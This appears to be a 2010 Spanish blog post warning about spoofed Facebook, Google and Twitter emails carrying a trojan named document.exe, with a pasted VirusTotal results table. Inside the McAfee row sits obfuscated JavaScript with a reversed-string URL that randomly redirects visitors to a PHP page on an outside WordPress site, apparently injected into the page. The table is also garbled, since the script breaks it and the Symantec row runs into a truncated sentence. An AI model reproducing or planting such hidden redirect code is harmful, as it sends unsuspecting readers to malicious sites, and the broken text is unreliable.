Mails masivos con falso remitente de FaceBook, Google y Twitter

Se están recibiendo estos días multitud de mails con falso remitente, anexando un ZIP que una vez desempaquetado ofrece un DOCUMENT.EXE:

File name: document.exe
Submission date: 2010-12-09 14:41:59 (UTC)
Current status: queued (#19) queued analysing finished
Result: 39/ 43 (90.7%)
 VT Community

malware
 Safety score: 0.0% 
Compact Print results Antivirus Version Last Update Result
AhnLab-V3 2010.12.09.00 2010.12.08 Win-Trojan/Buzus.640512.D
AntiVir 7.10.14.240 2010.12.09 TR/Buzus.gdef
Antiy-AVL 2.0.3.7 2010.12.09 Trojan/Win32.Buzus.gen
Avast 4.8.1351.0 2010.12.09 Win32:Malware-gen
Avast5 5.0.677.0 2010.12.09 Win32:Malware-gen
AVG 9.0.0.851 2010.12.09 Generic20.RDF
BitDefender 7.2 2010.12.09 Trojan.Generic.KDV.68538
CAT-QuickHeal 11.00 2010.12.09 Trojan.Buzus.gdef
ClamAV 0.96.4.0 2010.12.09 Trojan.Buzus-8525
Command 5.2.11.5 2010.12.09 –
Comodo 7000 2010.12.09 –
DrWeb 5.0.2.03300 2010.12.09 Trojan.MulDrop1.54160
Emsisoft 5.1.0.1 2010.12.09 Trojan.Win32.DelfInject!IK
eSafe 7.0.17.0 2010.12.09 –
eTrust-Vet 36.1.8029 2010.12.09 Win32/Fruspam.GD
F-Prot 4.6.2.117 2010.12.08 W32/Trojan3.CIH
F-Secure 9.0.16160.0 2010.12.09 Trojan-Downloader:W32/Malagent.C
Fortinet 4.2.254.0 2010.12.09 W32/Buzus.011E!tr
GData 21 2010.12.09 Trojan.Generic.KDV.68538
Ikarus T3.1.1.90.0 2010.12.09 Trojan.Win32.DelfInject
Jiangmin 13.0.900 2010.12.09 Trojan/Buzus.slb
K7AntiVirus 9.71.3191 2010.12.08 Trojan
Kaspersky 7.0.0.125 2010.12.09 Trojan.Win32.Buzus.gdef
McAfee 5.400.0.1158 2010.12.09 $NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to:W32/Xirtem@MM”>W32/Xirtem@MM
Microsoft 1.6402 2010.12.09 Trojan:Win32/Meredrop
NOD32 5688 2010.12.09 Win32/Merond.O
Norman 6.06.12 2010.12.08 W32/Bredolab.ACX
nProtect 2010-12-09.01 2010.12.09 Trojan/W32.Agent.640512.U
Panda 10.0.2.7 2010.12.08 W32/VobfusLNK.A
PCTools 7.0.3.5 2010.12.09 Email-Worm.Ackantta
Prevx 3.0 2010.12.09 Medium Risk Malware
Rising 22.77.03.05 2010.12.09 Trojan.Win32.Generic.5248DD41
Sophos 4.60.0 2010.12.09 W32/AutoRun-BHX
SUPERAntiSpyware 4.40.0.1006 2010.12.09 –
Symantec 20101.3.0.103 2010.12.09 to, que se trata de ingenieria social.